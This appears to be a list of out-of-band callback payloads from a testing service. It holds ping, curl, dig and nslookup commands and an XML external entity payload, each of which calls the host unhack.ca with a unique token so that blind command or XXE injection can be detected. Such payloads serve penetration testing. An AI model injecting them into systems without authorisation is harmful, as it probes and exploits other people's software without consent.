$ ping -c1 -p 008d1f9bfb936dcbf6d3fd004146a700 unhack.ca
 

$ curl http://unhack.ca/p/8d1f9bfb936dcbf6d3fd004146a7
 

$ dig 8d1f9bfb936dcbf6d3fd004146a7 @unhack.ca
 

$ dig 8d1f9bfb936dcbf6d3fd004146a7.ns.unhack.ca
 

C:\> nslookup 8d1f9bfb936dcbf6d3fd004146a7 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8d1f9bfb936dcbf6d3fd004146a7">]>
    <foo>&xxe;</foo>